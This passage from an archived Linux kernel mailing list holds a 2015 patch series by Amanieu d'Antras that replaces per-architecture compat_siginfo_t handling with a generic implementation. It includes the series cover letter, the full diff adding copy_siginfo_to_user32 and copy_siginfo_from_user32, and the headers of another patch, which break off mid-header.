         tPSxWIVQG9HEm24jF+i22ciTAt57XRnfNYRaml3TOAS+k0qq25Hr5j+l93XbdjIyJBtp
         N0B8uiDE4oFkFhpkVW50DGT9Et7LJ2Ha5z0xMDOLD4tqk58A70P9zKO2Oy/Sy7uwDUm2
         n1RBf/+PP1iMLct1gaJ2GNkrrMUNzCf6RJ75wSWUJWJ8zGq5oyVm+TWsNNEfNGUmFVVy
         vOD6QvrHYDXyhabolwcK+siKEUzDyWQuC4dMv+cMoYNestwoFg7aoUZZiUNg1VLfpsoW
         YzFA==
X-Received: by 10.28.217.18 with SMTP id q18mr87121wmg.10.1446684696889;
        Wed, 04 Nov 2015 16:51:36 -0800 (PST)
Original-Received: from amanieu-laptop.wireless.ropemaker.crm.lan ([31.205.92.76])
        by smtp.gmail.com with ESMTPSA id 194sm5558927wmh.19.2015.11.04.16.51.36
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 04 Nov 2015 16:51:36 -0800 (PST)
X-Mailer: git-send-email 2.6.2
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:16053 gmane.linux.kernel:2078400 gmane.linux.ports.arm.kernel:453061 gmane.linux.ports.mips.general:50994 gmane.linux.ports.parisc:26118 gmane.linux.ports.ppc64.devel:120227 gmane.linux.ports.sparc:21711 gmane.linux.file-systems:101732 gmane.linux.kernel.cross-arch:29601
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/16053>

The current handling of compat_siginfo_t is a mess: each architecture has its
own implementation, all of which are incorrect in different ways. This patch
series replaces all of the arch-specific versions with a single generic one that
is guaranteed to produce the same results as a 32-bit kernel.

Most architectures are able to use the generic compat_siginfo_t, except x86 and
MIPS. MIPS uses a slightly different compat_siginfo_t structure for ABI reasons
but can still use the generic copy_siginfo_{to,from}_user32. x86 can't use the
generic versions because it needs special handling for __SI_CHLD for x32 tasks.

One issue that isn't resolved in this series is sending signals between a 32-bit
process and 64-bit process. Sending a si_int will work correctly, but a si_ptr
value will likely get corrupted due to the different layouts of the 32-bit and
64-bit siginfo_t structures.

signalfd_copyinfo was also modified to properly generate data for compat tasks.
In particular the ssi_ptr and ssi_data members need to be sign-extended to 64
bits rather than zero-extended, since that is the behavior in 32-bit kernels.

This series has been tested on x86_64 and arm64.

Changes since v1:
- Properly copy padding bytes and avoid leaking uninitialized data to userspace
- Fixed compile errors on mips and powerpc
- Fixed some compiler warnings
- Fixed some formatting issues

Amanieu d'Antras (20):
  compat: Add generic compat_siginfo_t
  compat: Add generic copy_siginfo_{to,from}_user32
  x86: Update compat_siginfo_t to be closer to the generic version
  x86: Rewrite copy_siginfo_{to,from}_user32
  mips: Clean up compat_siginfo_t
  mips: Use generic copy_siginfo_{to,from}_user32
  arm64: Use generic compat_siginfo_t
  arm64: Use generic copy_siginfo_{to,from}_user32
  parisc: Use generic compat_siginfo_t
  parsic: Use generic copy_siginfo_{to,from}_user32
  s390: Use generic compat_siginfo_t
  s390: Use generic copy_siginfo_{to,from}_user32
  powerpc: Use generic compat_siginfo_t
  powerpc: Use generic copy_siginfo_{to,from}_user32
  tile: Use generic compat_siginfo_t
  tile: Use generic copy_siginfo_{to,from}_user32
  sparc: Use generic compat_siginfo_t
  sparc: Use generic copy_siginfo_{to,from}_user32
  signalfd: Fix some issues in signalfd_copyinfo
  signal: Remove unnecessary zero-initialization of siginfo_t

 arch/arm64/include/asm/compat.h    |  59 --------
 arch/arm64/kernel/signal32.c       |  85 -----------
 arch/mips/include/asm/compat.h     |  63 ++++----
 arch/mips/kernel/signal32.c        |  62 --------
 arch/parisc/include/asm/compat.h   |  52 -------
 arch/parisc/kernel/signal32.c      | 102 -------------
 arch/powerpc/include/asm/compat.h  |  60 --------
 arch/powerpc/kernel/signal_32.c    |  72 +---------
 arch/s390/include/asm/compat.h     |  51 -------
 arch/s390/kernel/compat_signal.c   | 102 -------------
 arch/sparc/include/asm/compat.h    |  54 -------
 arch/sparc/kernel/signal32.c       |  69 ---------
 arch/tile/include/asm/compat.h     |  57 --------
 arch/tile/kernel/compat_signal.c   |  75 ----------
 arch/x86/include/asm/compat.h      |  39 +++--
 arch/x86/kernel/signal_compat.c    | 285 ++++++++++++++++++++++++++++---------
 fs/signalfd.c                      |  58 +++++---
 include/linux/compat.h             |  66 ++++++++-
 include/uapi/asm-generic/siginfo.h |   1 +
 kernel/compat.c                    | 224 +++++++++++++++++++++++++++++
 kernel/ptrace.c                    |   1 -
 kernel/signal.c                    |  16 ++-
 22 files changed, 615 insertions(+), 1038 deletions(-)

-- 
2.6.2


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amanieu d'Antras <amanieu@gmail.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v2 02/20] compat: Add generic copy_siginfo_{to,from}_user32
Date: Thu,  5 Nov 2015 00:50:21 +0000
Lines: 408
Approved: news@gmane.org
Message-ID: <1446684640-4112-3-git-send-email-amanieu@gmail.com>
References: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1446684733 25434 80.91.229.3 (5 Nov 2015 00:52:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Nov 2015 00:52:13 +0000 (UTC)
Cc: Oleg Nesterov <oleg@redhat.com>,
	Amanieu d'Antras <amanieu@gmail.com>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	"David S. Miller" <davem@davemloft.net>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
	Arnd Bergmann <arnd@arndb.de>,
	linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, sparclinux@vger.
To: linux-kernel@vger.kernel.org
Original-X-From: sparclinux-owner@vger.kernel.org Thu Nov 05 01:52:03 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Zu8mW-0000gK-64
	for lnx-sparclinux@plane.gmane.org; Thu, 05 Nov 2015 01:52:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031078AbbKEAvq (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 4 Nov 2015 19:51:46 -0500
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:36018 "EHLO
	mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965621AbbKEAvm (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 4 Nov 2015 19:51:42 -0500
Original-Received: by wmec75 with SMTP id c75so41698wme.3;
        Wed, 04 Nov 2015 16:51:40 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=BuHyvN8SDwaxFq+gBRXCbN+Y+Q9FLGZrzmsiSjkg8nM=;
        b=OOrxhraoYrTWWXOOaDzI+DRhVpMzGYVP2wxffwysO/fDbyIvp90Ghz3EkyiPpKW/+q
         XsScbWjOKM6ukB8aOJD6oCSjhwTGkhOLStvSXIn+JuhxWe257LEtEqtV8NUiyEpqLQ5Z
         jEauK+fJIA/CNVrcQc5klAi61UyrQwpqg8alO9n0bl+MF/2viQwe3XLD1PSwC2OxjyMd
         cDy3Jj3sPDi8c7+5rhd0r1VPYrJNPOBHXUK3VPm/CQwjhjidGBt53/SfXcnuRdBtdowZ
         3Y2XPar4kVHhyUXPgLZUvTn98xG4VQRzYILNBGGGB61vPX5DokytbcX/xY0Hc4MWk9Na
         VnBQ==
X-Received: by 10.28.7.67 with SMTP id 64mr61991wmh.70.1446684700494;
        Wed, 04 Nov 2015 16:51:40 -0800 (PST)
Original-Received: from amanieu-laptop.wireless.ropemaker.crm.lan ([31.205.92.76])
        by smtp.gmail.com with ESMTPSA id 194sm5558927wmh.19.2015.11.04.16.51.39
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 04 Nov 2015 16:51:39 -0800 (PST)
X-Mailer: git-send-email 2.6.2
In-Reply-To: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21712 gmane.linux.kernel:2078403 gmane.linux.ports.arm.kernel:453062 gmane.linux.ports.mips.general:50995 gmane.linux.ports.parisc:26119 gmane.linux.ports.ppc64.devel:120228 gmane.linux.kernel.cross-arch:29602 gmane.linux.kernel.api:16054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21712>

These routines try to match the behavior of native 32-bit kernels
as closely as possible. They will replace architecture-specific
versions that are missing support for some fields and have various
bugs that cause behavior to diverge from that of a 32-bit kernel.

The only problematic situation is when sending a si_ptr from a
32-bit process to a 64-bit process or vice-versa, but this has
never worked correctly in the past anyways.

One thing to note is that, because the size of the siginfo_t union
differs between 32-bit and 64-bit systems, we need to stash the
last 4 bytes of the union in the 4 bytes of padding between the
64-bit union and the initial 3 siginfo_t members.

Signed-off-by: Amanieu d'Antras <amanieu@gmail.com>
---
 arch/arm64/include/asm/compat.h    |   2 +
 arch/mips/include/asm/compat.h     |   2 +
 arch/parisc/include/asm/compat.h   |   2 +
 arch/powerpc/include/asm/compat.h  |   2 +
 arch/s390/include/asm/compat.h     |   2 +
 arch/sparc/include/asm/compat.h    |   2 +
 arch/tile/include/asm/compat.h     |   2 +
 arch/x86/include/asm/compat.h      |   2 +
 include/uapi/asm-generic/siginfo.h |   1 +
 kernel/compat.c                    | 224 +++++++++++++++++++++++++++++++++++++
 kernel/signal.c                    |  12 +-
 11 files changed, 248 insertions(+), 5 deletions(-)

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index ff4e294..5eae749 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -156,6 +156,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 
 typedef struct compat_siginfo {
 	int si_signo;
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index 5f1f816..1e5ba38 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -131,6 +131,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 #define SI_PAD_SIZE32	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index e0be05f..46a0a8a 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -135,6 +135,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 
 typedef struct compat_siginfo {
 	int si_signo;
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index 75b25ff..cdc8638 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -125,6 +125,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 #define SI_PAD_SIZE32	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index ac73ac7..497af62 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -193,6 +193,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 
 typedef struct compat_siginfo {
 	int	si_signo;
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index 0c80f59..9357014 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -154,6 +154,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 #define SI_PAD_SIZE32	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index f9bba8d..e0c61da 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -116,6 +116,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 #define COMPAT_SI_PAD_SIZE	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index 69176b4..c6b58b1 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -131,6 +131,8 @@ typedef union compat_sigval {
 } compat_sigval_t;
 
 #define HAVE_ARCH_COMPAT_SIGINFO_T
+#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
+#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 
 typedef struct compat_siginfo {
 	int si_signo;
diff --git a/include/uapi/asm-generic/siginfo.h b/include/uapi/asm-generic/siginfo.h
index 1e35520..cc8d95e 100644
--- a/include/uapi/asm-generic/siginfo.h
+++ b/include/uapi/asm-generic/siginfo.h
@@ -49,6 +49,7 @@ typedef struct siginfo {
 	int si_signo;
 	int si_errno;
 	int si_code;
+	int _pad2[__ARCH_SI_PREAMBLE_SIZE / sizeof(int) - 3];
 
 	union {
 		int _pad[SI_PAD_SIZE];
diff --git a/kernel/compat.c b/kernel/compat.c
index 333d364..644da25 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -1174,3 +1174,227 @@ void __user *compat_alloc_user_space(unsigned long len)
 	return ptr;
 }
 EXPORT_SYMBOL_GPL(compat_alloc_user_space);
+
+#ifndef HAVE_ARCH_COPY_SIGINFO_TO_USER32
+int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from)
+{
+	int err, si_code;
+
+	if (!access_ok(VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+
+	/*
+	 * Get the user-visible si_code by hiding the top 16 bits if this is a
+	 * kernel-generated signal.
+	 */
+	si_code = from->si_code < 0 ? from->si_code : (short)from->si_code;
+
+	/*
+	 * If you change siginfo_t structure, please be sure that
+	 * all these functions are fixed accordingly:
+	 * copy_siginfo_to_user
+	 * copy_siginfo_to_user32
+	 * copy_siginfo_from_user32
+	 * signalfd_copyinfo
+	 * They should never copy any pad contained in the structure
+	 * to avoid security leaks, but must copy the generic
+	 * 3 ints plus the relevant union member.
+	 */
+	err = __put_user(from->si_signo, &to->si_signo);
+	err |= __put_user(from->si_errno, &to->si_errno);
+	err |= __put_user(si_code, &to->si_code);
+	if (from->si_code < 0) {
+		/*
+		 * Copy the tail bytes of the union from the padding, see the
+		 * comment in copy_siginfo_from_user32. Note that this padding
+		 * is always initialized when si_code < 0.
+		 */
+		BUILD_BUG_ON(sizeof(to->_sifields._pad) !=
+			sizeof(from->_sifields._pad) + sizeof(from->_pad2));
+		err |= __copy_to_user(to->_sifields._pad, from->_sifields._pad,
+			sizeof(from->_sifields._pad)) ? -EFAULT : 0;
+		err |= __copy_to_user(to->_sifields._pad + SI_PAD_SIZE,
+			from->_pad2, sizeof(from->_pad2)) ? -EFAULT : 0;
+		return err;
+	}
+	switch (from->si_code & __SI_MASK) {
+	case __SI_KILL:
+		err |= __put_user(from->si_pid, &to->si_pid);
+		err |= __put_user(from->si_uid, &to->si_uid);
+		break;
+	case __SI_TIMER:
+		err |= __put_user(from->si_tid, &to->si_tid);
+		err |= __put_user(from->si_overrun, &to->si_overrun);
+		/*
+		 * Get the sigval from si_int, which matches the convention
+		 * used in get_compat_sigevent.
+		 */
+		err |= __put_user(from->si_int, &to->si_int);
+		break;
+	case __SI_POLL:
+		err |= __put_user(from->si_band, &to->si_band);
+		err |= __put_user(from->si_fd, &to->si_fd);
+		break;
+	case __SI_FAULT:
+		err |= __put_user(ptr_to_compat(from->si_addr), &to->si_addr);
+#ifdef __ARCH_SI_TRAPNO
+		err |= __put_user(from->si_trapno, &to->si_trapno);
+#endif
+#ifdef BUS_MCEERR_AO
+		/*
+		 * Other callers might not initialize the si_lsb field,
+		 * so check explicitly for the right codes here.
+		 */
+		if (from->si_signo == SIGBUS &&
+		    (from->si_code == BUS_MCEERR_AR ||
+		     from->si_code == BUS_MCEERR_AO))
+			err |= __put_user(from->si_addr_lsb, &to->si_addr_lsb);
+#endif
+#ifdef SEGV_BNDERR
+		if (from->si_signo == SIGSEGV && from->si_code == SEGV_BNDERR) {
+			err |= __put_user(ptr_to_compat(from->si_lower),
+				&to->si_lower);
+			err |= __put_user(ptr_to_compat(from->si_upper),
+				&to->si_upper);
+		}
+#endif
+		break;
+	case __SI_CHLD:
+		err |= __put_user(from->si_pid, &to->si_pid);
+		err |= __put_user(from->si_uid, &to->si_uid);
+		err |= __put_user(from->si_status, &to->si_status);
+		err |= __put_user(from->si_utime, &to->si_utime);
+		err |= __put_user(from->si_stime, &to->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+	case __SI_MESGQ: /* But this is */
+		err |= __put_user(from->si_pid, &to->si_pid);
+		err |= __put_user(from->si_uid, &to->si_uid);
+		/*
+		 * Get the sigval from si_int, which matches the convention
+		 * used in get_compat_sigevent.
+		 */
+		err |= __put_user(from->si_int, &to->si_int);
+		break;
+#ifdef __ARCH_SIGSYS
+	case __SI_SYS:
+		err |= __put_user(ptr_to_compat(from->si_call_addr),
+			&to->si_call_addr);
+		err |= __put_user(from->si_syscall, &to->si_syscall);
+		err |= __put_user(from->si_arch, &to->si_arch);
+		break;
+#endif
+	default: /* this is just in case for now ... */
+		err |= __put_user(from->si_pid, &to->si_pid);
+		err |= __put_user(from->si_uid, &to->si_uid);
+		break;
+	}
+	return err;
+}
+#endif
+
+#ifndef HAVE_ARCH_COPY_SIGINFO_FROM_USER32
+int copy_siginfo_from_user32(siginfo_t *to, compat_siginfo_t __user *from)
+{
+	int err;
+	compat_uptr_t ptr32;
+
+	if (!access_ok(VERIFY_READ, from, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+
+	/*
+	 * If you change siginfo_t structure, please be sure that
+	 * all these functions are fixed accordingly:
+	 * copy_siginfo_to_user
+	 * copy_siginfo_to_user32
+	 * copy_siginfo_from_user32
+	 * signalfd_copyinfo
+	 * They should never copy any pad contained in the structure
+	 * to avoid security leaks, but must copy the generic
+	 * 3 ints plus the relevant union member.
+	 */
+	err = __get_user(to->si_signo, &from->si_signo);
+	err |= __get_user(to->si_errno, &from->si_errno);
+	err |= __get_user(to->si_code, &from->si_code);
+	if (to->si_code < 0) {
+		/*
+		 * Note that the compat union may be larger than the normal one
+		 * due to alignment. We work around this by copying any data
+		 * that doesn't fit in the normal union into the padding before
+		 * the union.
+		 */
+		BUILD_BUG_ON(sizeof(to->_sifields._pad) + sizeof(to->_pad2) !=
+			sizeof(from->_sifields._pad));
+		err |= __copy_from_user(to->_sifields._pad,
+			from->_sifields._pad,
+			sizeof(to->_sifields._pad)) ? -EFAULT : 0;
+		err |= __copy_from_user(to->_pad2,
+			from->_sifields._pad + SI_PAD_SIZE, sizeof(to->_pad2))
+			? -EFAULT : 0;
+		return err;
+	}
+	switch (to->si_code & __SI_MASK) {
+	case __SI_KILL:
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		break;
+	case __SI_TIMER:
+		err |= __get_user(to->si_tid, &from->si_tid);
+		err |= __get_user(to->si_overrun, &from->si_overrun);
+		/*
+		 * Put the sigval in si_int, which matches the convention
+		 * used in get_compat_sigevent.
+		 */
+		to->si_ptr = NULL; /* Avoid uninitialized bits in the union */
+		err |= __get_user(to->si_int, &from->si_int);
+		break;
+	case __SI_POLL:
+		err |= __get_user(to->si_band, &from->si_band);
+		err |= __get_user(to->si_fd, &from->si_fd);
+		break;
+	case __SI_FAULT:
+		err |= __get_user(ptr32, &from->si_addr);
+		to->si_addr = compat_ptr(ptr32);
+#ifdef __ARCH_SI_TRAPNO
+		err |= __get_user(to->si_trapno, &from->si_trapno);
+#endif
+		err |= __get_user(to->si_addr_lsb, &from->si_addr_lsb);
+		err |= __get_user(ptr32, &from->si_lower);
+		to->si_lower = compat_ptr(ptr32);
+		err |= __get_user(ptr32, &from->si_upper);
+		to->si_upper = compat_ptr(ptr32);
+		break;
+	case __SI_CHLD:
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		err |= __get_user(to->si_status, &from->si_status);
+		err |= __get_user(to->si_utime, &from->si_utime);
+		err |= __get_user(to->si_stime, &from->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+	case __SI_MESGQ: /* But this is */
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		/*
+		 * Put the sigval in si_int, which matches the convention
+		 * used in get_compat_sigevent.
+		 */
+		to->si_ptr = NULL; /* Avoid uninitialized bits in the union */
+		err |= __get_user(to->si_int, &from->si_int);
+		break;
+#ifdef __ARCH_SIGSYS
+	case __SI_SYS:
+		err |= __get_user(ptr32, &from->si_call_addr);
+		to->si_call_addr = compat_ptr(ptr32);
+		err |= __get_user(to->si_syscall, &from->si_syscall);
+		err |= __get_user(to->si_arch, &from->si_arch);
+		break;
+#endif
+	default: /* this is just in case for now ... */
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		break;
+	}
+	return err;
+}
+#endif
diff --git a/kernel/signal.c b/kernel/signal.c
index 0f6bbbe..873e8e2 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -2713,11 +2713,13 @@ int copy_siginfo_to_user(siginfo_t __user *to, const siginfo_t *from)
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
 	/*
-	 * If you change siginfo_t structure, please be sure
-	 * this code is fixed accordingly.
-	 * Please remember to update the signalfd_copyinfo() function
-	 * inside fs/signalfd.c too, in case siginfo_t changes.
-	 * It should never copy any pad contained in the structure
+	 * If you change siginfo_t structure, please be sure that
+	 * all these functions are fixed accordingly:
+	 * copy_siginfo_to_user
+	 * copy_siginfo_to_user32
+	 * copy_siginfo_from_user32
+	 * signalfd_copyinfo
+	 * They should never copy any pad contained in the structure
 	 * to avoid security leaks, but must copy the generic
 	 * 3 ints plus the relevant union member.
 	 */
-- 
2.6.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amanieu d'Antras <amanieu@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [PATCH v2 01/20] compat: Add generic compat_siginfo_t
Date: Thu,  5 Nov 2015 00:50:20 +0000
Lines: 198
Approved: news@gmane.org
Message-ID: <1446684640-4112-2-git-send-email-amanieu@gmail.com>
References: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1446684755 25854 80.91.229.3 (5 Nov 2015 00:52:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Nov 2015 00:52:35 +0000 (UTC)
Cc: Oleg Nesterov <oleg@redhat.com>,
        Amanieu d'Antras <amanieu@gmail.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Nov 05 01:52:23 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Zu8ms-00012x-LZ
	for sgi-linux-mips@gmane.org; Thu, 05 Nov 2015 01:52:22 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:56071 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012534AbbKEAwTJT-Qs (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 5 Nov 2015 01:52:19 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 05 Nov 2015 01:52:02 +0100 (CET)
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:34298 "EHLO
        mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27012548AbbKEAvnr3ZQs (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 5 Nov 2015 01:51:43 +0100
Original-Received: by wmeg8 with SMTP id g8so45803wme.1;
        Wed, 04 Nov 2015 16:51:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=02+IDgPS9iLA3p4ZUv+MIAD5+TAh44vVnvEiocJAYWw=;
        b=KagN8kniQHfghBb+IdZ33eb6fAf8Ap2YKa+jsaLe47viNaOY6BJAannAyr0jPPPHiW
         6F035C3j9aPdJ6MXZPsDR8h4MiJ7IHOEKPhUpLAeAw21raTTakTHcFebkK2NsBFXfW8x
         R8t1dFmHHtlaYrPjA4LFQdvsGKAnaM8XrYUB7wAxjiDMkbWG5AOn6LgQfiKRXOzsekxg
         w/gdIDJwhgrfHwvr0HrrX0Yz9VrdCfh65HDzkHIVnMwuToWARm4UKr/7X8RQqe2PZzky
         uodk+5KvAxz+PIc/I1d9rvwDxn2hpeOvtXQYiZkS95xrNeuT9PUUngg1jnxQIXHoG0hL
         CQkA==
X-Received: by 10.28.6.206 with SMTP id 197mr60499wmg.102.1446684698571;
        Wed, 04 Nov 2015 16:51:38 -0800 (PST)
Original-Received: from amanieu-laptop.wireless.ropemaker.crm.lan ([31.205.92.76])
        by smtp.gmail.com with ESMTPSA id 194sm5558927wmh.19.2015.11.04.16.51.37
